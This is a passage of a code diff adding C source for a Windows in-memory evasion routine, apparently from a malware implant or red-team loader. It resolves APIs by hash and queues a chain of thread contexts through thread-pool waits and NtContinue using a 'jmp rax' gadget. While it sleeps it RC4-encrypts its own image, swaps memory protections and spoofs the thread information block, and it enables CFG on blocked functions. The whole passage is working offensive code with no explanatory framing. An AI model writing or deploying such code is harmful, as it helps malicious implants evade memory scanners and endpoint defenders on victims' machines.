     739 + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) );
     740 +
     741 + if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &K32 ) ) ) {
     742 + 
     743 + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"advapi32.dll" ) ) );
     744 + 
     745 + if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Uni, &Adv ) ) ) {
     746 + 
     747 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CloseThreadpoolCleanupGroupMembers" ) ) );
     748 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CloseThreadpoolCleanupGroupMembers );
     749 + 
     750 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateThreadpoolCleanupGroup" ) ) );
     751 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateThreadpoolCleanupGroup );
     752 + 
     753 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetThreadpoolThreadMaximum" ) ) );
     754 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetThreadpoolThreadMaximum );
     755 + 
     756 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetThreadpoolThreadMinimum" ) ) );
     757 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetThreadpoolThreadMinimum );
     758 + 
     759 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "WaitForSingleObjectEx" ) ) );
     760 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.WaitForSingleObjectEx );
     761 + 
     762 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SystemFunction032" ) ) );
     763 + Api.LdrGetProcedureAddress( Adv, &Ani, 0, &Api.SystemFunction032 );
     764 + 
     765 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateThreadpool" ) ) );
     766 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateThreadpool );
     767 + 
     768 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CloseThreadpool" ) ) );
     769 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CloseThreadpool );
     770 + 
     771 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "VirtualProtect" ) ) );
     772 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.VirtualProtect );
     773 + 
     774 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SetEvent" ) ) );
     775 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SetEvent );
     776 + 
     777 + /* Get the hook length + DLL Length */
     778 + Tbl = C_PTR( G_SYM( Table ) );
     779 + Img = C_PTR( Tbl->Table->RxBuffer );
     780 + XLn = U_PTR( Tbl->Table->RxLength );
     781 + FLn = U_PTR( Tbl->Table->ImageLength );
     782 + 
     783 + RandomString( &Rnd, sizeof( Rnd ) );
     784 + 
     785 + Key.Buffer = C_PTR( &Rnd );
     786 + Key.Length = Key.MaximumLength = sizeof( Rnd );
     787 + 
     788 + Buf.Buffer = C_PTR( Tbl->Table->RxBuffer );
     789 + Buf.Length = Buf.MaximumLength = Tbl->Table->ImageLength;
     790 + 
     791 + do {
     792 + /* Create synchronization event 1 */
     793 + if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev1, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) {
     794 + /* Abort! */
     795 + break;
     796 + };
     797 + /* Create synchronization event 2 */
     798 + if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev2, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) {
     799 + /* Abort! */
     800 + break;
     801 + };
     802 + /* Create synchronization event 3 */
     803 + if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev3, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) {
     804 + /* Abort! */
     805 + break;
     806 + };
     807 + /* Create synchronization event 4 */
     808 + if ( ! NT_SUCCESS( Api.NtCreateEvent( &Ev4, EVENT_ALL_ACCESS, NULL, NotificationEvent, FALSE ) ) ) {
     809 + /* Abort! */
     810 + break;
     811 + };
     812 +
     813 + /* Initialize the thread pool environment */
     814 + InitializeThreadpoolEnvironment( &Tbl->Table->Debugger.PoolEnv );
     815 + 
     816 + /* Create the thread pool the timer will use */
     817 + if ( !( Pol = Api.CreateThreadpool( NULL ) ) ) {
     818 + /* Abort! */
     819 + break;
     820 + };
     821 + 
     822 + /* Create the cleanup group to free memory */
     823 + if ( !( Cln = Api.CreateThreadpoolCleanupGroup() ) ) {
     824 + /* Abort! */
     825 + break;
     826 + };
     827 + 
     828 + /* Set the minimum and maximum the thread pool uses */
     829 + Api.SetThreadpoolThreadMaximum( Pol, 1 );
     830 + if ( ! Api.SetThreadpoolThreadMinimum( Pol, 1 ) ) {
     831 + /* Abort! */
     832 + break;
     833 + };
     834 + 
     835 + /* Initialize the pool environment information */
     836 + SetThreadpoolCallbackPool( & Tbl->Table->Debugger.PoolEnv, Pol );
     837 + SetThreadpoolCallbackCleanupGroup( & Tbl->Table->Debugger.PoolEnv, Cln, NULL );
     838 + 
     839 + /* Flags to query for! */
     840 + Ctx.ContextFlags = CONTEXT_FULL;
     841 + 
     842 + /* Create the first time and spawn the new thread */
     843 + if ( NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.RtlCaptureContext, &Ctx, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) {
     844 + if ( NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.SetEvent, Ev1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) {
     845 + if ( NT_SUCCESS( Api.NtWaitForSingleObject( Ev1, FALSE, NULL ) ) ) {
     846 + if ( !( Cap = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     847 + /* Abort! */
     848 + break;
     849 + };
     850 + if ( !( Beg = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     851 + /* Abort! */
     852 + break;
     853 + };
     854 + if ( !( Set = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     855 + /* Abort! */
     856 + break;
     857 + };
     858 + if ( !( Enc = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     859 + /* Abort! */
     860 + break;
     861 + };
     862 + if ( !( Gt1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     863 + /* Abort! */
     864 + break;
     865 + };
     866 + if ( !( Cp1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     867 + /* Abort! */
     868 + break;
     869 + };
     870 + if ( !( Cp2 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     871 + /* Abort! */
     872 + break;
     873 + };
     874 + if ( !( St1 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     875 + /* Abort! */
     876 + break;
     877 + };
     878 + if ( !( Sev = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     879 + /* Abort! */
     880 + break;
     881 + };
     882 + if ( !( Blk = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     883 + /* Abort! */
     884 + break;
     885 + };
     886 + if ( !( Cp3 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     887 + /* Abort! */
     888 + break;
     889 + };
     890 + if ( !( St2 = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     891 + /* Abort! */
     892 + break;
     893 + };
     894 + if ( !( Dec = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     895 + /* Abort! */
     896 + break;
     897 + };
     898 + if ( !( Res = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     899 + /* Abort! */
     900 + break;
     901 + };
     902 + if ( !( End = Api.RtlAllocateHeap( NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, sizeof( CONTEXT ) ) ) ) {
     903 + /* Abort! */
     904 + break;
     905 + };
     906 + 
     907 + /* Get the address of the jmp rax gadget */
     908 + if ( ( Gdg = GetJmpRaxTarget( ) ) != NULL ) {
     909 + 
     910 + /* Copy the old NT_TIB structure into a stack var */
     911 + __builtin_memcpy( &Oli, & NtCurrentTeb()->NtTib, sizeof( NT_TIB ) );
     912 + 
     913 + /* Extract the NT_TIB structure from our thread pool thread */
     914 + if ( GetThreadInfoBlockFromStack( Ctx.Rsp, &Nwi ) ) {
     915 + /* Duplicate a handle to our current thread. */
     916 + if ( NT_SUCCESS( Api.NtDuplicateObject( NtCurrentProcess(), NtCurrentThread(), NtCurrentProcess(), &Src, 0, 0, DUPLICATE_SAME_ACCESS ) ) ) {
     917 + 
     918 + /* Enable CFG on the target function in case its blacklisted */
     919 + CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtContinue );
     920 + CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtResumeThread );
     921 + CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtGetContextThread );
     922 + CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.NtSetContextThread );
     923 + CfgEnableFunc( PebGetModule( H_LIB_NTDLL ), Api.RtlCopyMappedMemory );
     924 + 
     925 + /* WaitForSingleObjectEx */
     926 + __builtin_memcpy( Beg, &Ctx, sizeof( CONTEXT ) );
     927 + Beg->ContextFlags = CONTEXT_FULL;
     928 + Beg->Rip = U_PTR( Gdg );
     929 + Beg->Rsp -= U_PTR( sizeof( PVOID ) );
     930 + Beg->Rax = U_PTR( Api.WaitForSingleObjectEx );
     931 + Beg->Rcx = U_PTR( Ev2 );
     932 + Beg->Rdx = U_PTR( INFINITE );
     933 + Beg->R8 = U_PTR( FALSE );
     934 + 
     935 + /* VirtualProtect */
     936 + __builtin_memcpy( Set, &Ctx, sizeof( CONTEXT ) );
     937 + Set->ContextFlags = CONTEXT_FULL;
     938 + Set->Rip = U_PTR( Gdg );
     939 + Set->Rsp -= U_PTR( sizeof( PVOID ) );
     940 + Set->Rax = U_PTR( Api.VirtualProtect );
     941 + Set->Rcx = U_PTR( Img );
     942 + Set->Rdx = U_PTR( XLn );
     943 + Set->R8 = U_PTR( PAGE_READWRITE );
     944 + Set->R9 = U_PTR( &Prt );
     945 + 
     946 + /* SystemFunction032 */
     947 + __builtin_memcpy( Enc, &Ctx, sizeof( CONTEXT ) );
     948 + Enc->ContextFlags = CONTEXT_FULL;
     949 + Enc->Rip = U_PTR( Gdg );
     950 + Enc->Rsp -= U_PTR( sizeof( PVOID ) );
     951 + Enc->Rax = U_PTR( Api.SystemFunction032 );
     952 + Enc->Rcx = U_PTR( &Buf );
     953 + Enc->Rdx = U_PTR( &Key );
     954 + 
     955 + /* NtGetContextThread */
     956 + __builtin_memcpy( Gt1, &Ctx, sizeof( CONTEXT ) );
     957 + Gt1->ContextFlags = CONTEXT_FULL;
     958 + Cap->ContextFlags = CONTEXT_FULL;
     959 + Gt1->Rip = U_PTR( Gdg );
     960 + Gt1->Rsp -= U_PTR( sizeof( PVOID ) );
     961 + Gt1->Rax = U_PTR( Api.NtGetContextThread );
     962 + Gt1->Rcx = U_PTR( Src );
     963 + Gt1->Rdx = U_PTR( Cap );
     964 + 
     965 + /* RtlCopyMappedMemory */
     966 + __builtin_memcpy( Cp1, &Ctx, sizeof( CONTEXT ) );
     967 + Cp1->ContextFlags = CONTEXT_FULL;
     968 + Cp1->Rip = U_PTR( Gdg );
     969 + Cp1->Rsp -= U_PTR( sizeof( PVOID ) );
     970 + Cp1->Rip = U_PTR( Api.RtlCopyMappedMemory );
     971 + Cp1->Rcx = U_PTR( & Ctx.Rip );
     972 + Cp1->Rdx = U_PTR( & Cap->Rip );
     973 + Cp1->R8 = U_PTR( sizeof( PVOID ) );
     974 + 
     975 + /* RtlCopyMappedMemory */
     976 + __builtin_memcpy( Cp2, &Ctx, sizeof( CONTEXT ) );
     977 + Cp2->ContextFlags = CONTEXT_FULL;
     978 + Cp2->Rip = U_PTR( Gdg );
     979 + Cp2->Rsp -= U_PTR( sizeof( PVOID ) );
     980 + Cp2->Rax = U_PTR( Api.RtlCopyMappedMemory );
     981 + Cp2->Rcx = U_PTR( & NtCurrentTeb()->NtTib );
     982 + Cp2->Rdx = U_PTR( & Nwi );
     983 + Cp2->R8 = U_PTR( sizeof( NT_TIB ) );
     984 + 
     985 + /* NtSetContextThread */
     986 + __builtin_memcpy( St1, &Ctx, sizeof( CONTEXT ) );
     987 + St1->ContextFlags = CONTEXT_FULL;
     988 + St1->Rip = U_PTR( Gdg );
     989 + St1->Rsp -= U_PTR( sizeof( PVOID ) );
     990 + St1->Rax = U_PTR( Api.NtSetContextThread );
     991 + St1->Rcx = U_PTR( Src );
     992 + St1->Rdx = U_PTR( & Ctx );
     993 + 
     994 + /* NtResumeThread */
     995 + __builtin_memcpy( Sev, &Ctx, sizeof( CONTEXT ) );
     996 + Sev->ContextFlags = CONTEXT_FULL;
     997 + Sev->Rip = U_PTR( Gdg );
     998 + Sev->Rsp -= U_PTR( sizeof( PVOID ) );
     999 + Sev->Rax = U_PTR( Api.NtResumeThread );
     1000 + Sev->Rcx = U_PTR( Parameter->Thread );
     1001 + Sev->Rdx = U_PTR( NULL );
     1002 + 
     1003 + /* WaitForSingleObjectEx */
     1004 + __builtin_memcpy( Blk, &Ctx, sizeof( CONTEXT ) );
     1005 + Blk->ContextFlags = CONTEXT_FULL;
     1006 + Blk->Rip = U_PTR( Gdg );
     1007 + Blk->Rsp -= U_PTR( sizeof( PVOID ) );
     1008 + Blk->Rax = U_PTR( Api.WaitForSingleObjectEx );
     1009 + Blk->Rcx = U_PTR( Parameter->Thread );
     1010 + Blk->Rdx = U_PTR( INFINITE );
     1011 + Blk->R8 = U_PTR( FALSE );
     1012 + 
     1013 + /* RtlCopyMappedMemory */
     1014 + __builtin_memcpy( Cp3, &Ctx, sizeof( CONTEXT ) );
     1015 + Cp3->ContextFlags = CONTEXT_FULL;
     1016 + Cp3->Rip = U_PTR( Gdg );
     1017 + Cp3->Rsp -= U_PTR( sizeof( PVOID ) );
     1018 + Cp3->Rax = U_PTR( Api.RtlCopyMappedMemory );
     1019 + Cp3->Rcx = U_PTR( & NtCurrentTeb()->NtTib );
     1020 + Cp3->Rdx = U_PTR( & Oli );
     1021 + Cp3->R8 = U_PTR( sizeof( NT_TIB ) );
     1022 + 
     1023 + /* NtSetContextThread */
     1024 + __builtin_memcpy( St2, &Ctx, sizeof( CONTEXT ) );
     1025 + St2->ContextFlags = CONTEXT_FULL;
     1026 + Cap->ContextFlags = CONTEXT_FULL;
     1027 + St2->Rip = U_PTR( Gdg );
     1028 + St2->Rsp -= U_PTR( sizeof( PVOID ) );
     1029 + St2->Rax = U_PTR( Api.NtSetContextThread );
     1030 + St2->Rcx = U_PTR( Src );
     1031 + St2->Rdx = U_PTR( Cap );
     1032 + 
     1033 + /* SystemFunction032 */
     1034 + __builtin_memcpy( Dec, &Ctx, sizeof( CONTEXT ) );
     1035 + Dec->ContextFlags = CONTEXT_FULL;
     1036 + Dec->Rip = U_PTR( Gdg );
     1037 + Dec->Rsp -= U_PTR( sizeof( PVOID ) );
     1038 + Dec->Rax = U_PTR( Api.SystemFunction032 );
     1039 + Dec->Rcx = U_PTR( &Buf );
     1040 + Dec->Rdx = U_PTR( &Key );
     1041 + 
     1042 + /* VirtualProtect */
     1043 + __builtin_memcpy( Res, &Ctx, sizeof( CONTEXT ) );
     1044 + Res->ContextFlags = CONTEXT_FULL;
     1045 + Res->Rip = U_PTR( Gdg );
     1046 + Res->Rsp -= U_PTR( sizeof( PVOID ) );
     1047 + Res->Rax = U_PTR( Api.VirtualProtect );
     1048 + Res->Rcx = U_PTR( Img );
     1049 + Res->Rdx = U_PTR( XLn );
     1050 + Res->R8 = U_PTR( PAGE_EXECUTE_READ );
     1051 + Res->R9 = U_PTR( &Prt );
     1052 + 
     1053 + /* SetEvent */
     1054 + __builtin_memcpy( End, &Ctx, sizeof( CONTEXT ) );
     1055 + End->ContextFlags = CONTEXT_FULL;
     1056 + End->Rip = U_PTR( Gdg );
     1057 + End->Rsp -= U_PTR( sizeof( PVOID ) );
     1058 + End->Rax = U_PTR( Api.SetEvent );
     1059 + End->Rcx = U_PTR( Ev3 );
     1060 + 
     1061 + /* Query all the API calls in the order in which they need to run */
     1062 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Beg, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1063 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Set, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1064 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Enc, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1065 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Gt1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1066 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1067 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp2, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1068 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, St1, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1069 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Sev, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1070 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Blk, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1071 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Cp3, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1072 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, St2, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1073 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Dec, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1074 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, Res, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1075 + if ( ! NT_SUCCESS( RtlRegisterWaitWrap( &Que, Ev4, Api.NtContinue, End, Del += 100, WT_EXECUTEINWAITTHREAD | WT_EXECUTEONLYONCE ) ) ) break;
     1076 + 
     1077 + /* Adjust the offset before setting our new frame */
     1078 + Ctx.Rsp -= U_PTR( sizeof( PVOID ) );
     1079 + 
     1080 + /* Execute and await the frame results! */
     1081 + Api.NtSignalAndWaitForSingleObject( Ev2, Ev3, FALSE, NULL );
     1082 + };
     1083 + };
     1084 + };
     1085 + };
     1086 + };
     1087 + };
     1088 + } while ( 0 );
     1089 + 
     1090 + if ( Ev1 != NULL ) {
     1091 + Api.NtClose( Ev1 );
     1092 + };
     1093 + if ( Ev2 != NULL ) {
     1094 + Api.NtClose( Ev2 );
     1095 + };
     1096 + if ( Ev3 != NULL ) {
     1097 + Api.NtClose( Ev3 );
     1098 + };
     1099 + if ( Ev4 != NULL ) {
     1100 + Api.NtClose( Ev4 );
     1101 + };
     1102 + if ( Que != NULL ) {
     1103 + Api.RtlDeregisterWait( Que );
     1104 + };
     1105 + if ( Cap != NULL ) {
     1106 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cap );
     1107 + };
     1108 + if ( Beg != NULL ) {
     1109 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Beg );
     1110 + };
     1111 + if ( Set != NULL ) {
     1112 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Set );
     1113 + };
     1114 + if ( Enc != NULL ) {
     1115 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Enc );
     1116 + };
     1117 + if ( Gt1 != NULL ) {
     1118 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Gt1 );
     1119 + };
     1120 + if ( Cp1 != NULL ) {
     1121 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp1 );
     1122 + };
     1123 + if ( Cp2 != NULL ) {
     1124 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp2 );
     1125 + };
     1126 + if ( St1 != NULL ) {
     1127 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, St1 );
     1128 + };
     1129 + if ( Sev != NULL ) {
     1130 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Sev );
     1131 + };
     1132 + if ( Blk != NULL ) {
     1133 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Blk );
     1134 + };
     1135 + if ( Cp3 != NULL ) {
     1136 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Cp3 );
     1137 + };
     1138 + if ( St2 != NULL ) {
     1139 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, St2 );
     1140 + };
     1141 + if ( Dec != NULL ) {
     1142 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Dec );
     1143 + };
     1144 + if ( Res != NULL ) {
     1145 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, Res );
     1146 + };
     1147 + if ( End != NULL ) {
     1148 + Api.RtlFreeHeap( NtCurrentPeb()->ProcessHeap, 0, End );
     1149 + };
     1150 + if ( Cln != NULL ) {
     1151 + /* Close the thread pool cleanup */
     1152 + Api.CloseThreadpoolCleanupGroupMembers( Cln, TRUE, NULL );
     1153 + };
     1154 + if ( Pol != NULL ) {
     1155 + /* Close the pool */
     1156 + Api.CloseThreadpool( Pol );
     1157 + };
     1158 + if ( Src != NULL ) {
     1159 + /* Close the thread handle */
     1160 + Api.NtClose( Src );
     1161 + };
     1162 + 
     1163 + /* Dereference */
     1164 + Api.LdrUnloadDll( Adv );
     1165 + };
     1166 + 
     1167 + /* Dereference */
     1168 + Api.LdrUnloadDll( K32 );
     1169 + };
     1170 + 
     1171 + /* Zero out stack structures */
     1172 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     1173 + RtlSecureZeroMemory( &Rnd, sizeof( Rnd ) );
     1174 + RtlSecureZeroMemory( &Oli, sizeof( Oli ) );
     1175 + RtlSecureZeroMemory( &Nwi, sizeof( Nwi ) );
     1176 + RtlSecureZeroMemory( &Key, sizeof( Key ) );
     1177 + RtlSecureZeroMemory( &Buf, sizeof( Buf ) );
     1178 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     1179 + RtlSecureZeroMemory( &Ani, sizeof( Ani ) );
     1180 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     1181 + 
     1182 + /* Switch back to the primary 'stack' master */
     1183 + Parameter->SwitchToFiber( Parameter->Master );
     1184 +};
     1185 + 
     1186 +/*!
     1187 + *
     1188 + * Purpose:
     1189 + *
     1190 + * Executes NtWaitForSingleObject while obfuscated.
     1191 + * Once the wait has completed, the result will be
     1192 + * returned back to us.
     1193 + *
     1194 +!*/
     1195 +D_SEC( E ) NTSTATUS NTAPI ObfNtWaitForSingleObject( _In_ HANDLE Handle, _In_ BOOLEAN Alertable, _In_ PLARGE_INTEGER Timeout )
     1196 +{
     1197 + MIN_API Api;
     1198 + CONTEXT Ctx;
     1199 + ANSI_STRING Ani;
     1200 + FIBER_PARAM Fbr;
     1201 + THREAD_PARAM Prm;
     1202 + UNICODE_STRING Uni;
     1203 + THREAD_BASIC_INFORMATION Tbi;
     1204 + 
     1205 + ULONG Stl = 0;
     1206 + NTSTATUS Nst = STATUS_UNSUCCESSFUL;
     1207 + 
     1208 + PTEB Teb = NULL;
     1209 + PVOID Ptr = NULL;
     1210 + PVOID K32 = NULL;
     1211 + LPVOID Ent = NULL;
     1212 + LPVOID Stk = NULL;
     1213 + HANDLE Thd = NULL;
     1214 + 
     1215 + /* Zero out stack structures */
     1216 + RtlSecureZeroMemory( &Api, sizeof( Api ) );
     1217 + RtlSecureZeroMemory( &Ctx, sizeof( Ctx ) );
     1218 + RtlSecureZeroMemory( &Ani, sizeof( Ani ) );
     1219 + RtlSecureZeroMemory( &Fbr, sizeof( Fbr ) );
     1220 + RtlSecureZeroMemory( &Prm, sizeof( Prm ) );
     1221 + RtlSecureZeroMemory( &Uni, sizeof( Uni ) );
     1222 + RtlSecureZeroMemory( &Tbi, sizeof( Tbi ) );
     1223 + 
     1224 + Api.NtQueryInformationThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTQUERYINFORMATIONTHREAD );
     1225 + Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS );
     1226 + Api.NtWaitForSingleObject = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTWAITFORSINGLEOBJECT );
     1227 + Api.RtlInitUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITUNICODESTRING );
     1228 + Api.NtSetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETCONTEXTTHREAD );
     1229 + Api.NtGetContextThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTGETCONTEXTTHREAD );
     1230 + Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING );
     1231 + Api.NtCreateThreadEx = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATETHREADEX );
     1232 + Api.RtlAllocateHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLALLOCATEHEAP );
     1233 + Api.NtSuspendThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSUSPENDTHREAD );
     1234 + Api.NtResumeThread = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTRESUMETHREAD );
     1235 + Api.NtCreateEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCREATEEVENT );
     1236 + Api.LdrUnloadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRUNLOADDLL );
     1237 + Api.RtlFreeHeap = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEHEAP );
     1238 + Api.NtSetEvent = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTSETEVENT );
     1239 + Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL );
     1240 + Api.NtClose = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_NTCLOSE );
     1241 + 
     1242 + Api.RtlInitUnicodeString( &Uni, C_PTR( G_SYM( L"kernel32.dll" ) ) );
     1243 + Api.LdrLoadDll( NULL, 0, &Uni, &K32 );
     1244 + 
     1245 + if ( K32 != NULL ) {
     1246 + 
     1247 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "ConvertThreadToFiber" ) ) );
     1248 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.ConvertThreadToFiber );
     1249 + 
     1250 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "ConvertFiberToThread" ) ) );
     1251 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.ConvertFiberToThread );
     1252 + 
     1253 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "SwitchToFiber" ) ) );
     1254 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.SwitchToFiber );
     1255 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Fbr.SwitchToFiber );
     1256 + 
     1257 + Api.RtlInitAnsiString( &Ani, C_PTR( G_SYM( "CreateFiber" ) ) );
     1258 + Api.LdrGetProcedureAddress( K32, &Ani, 0, &Api.CreateFiber );
     1259 + 
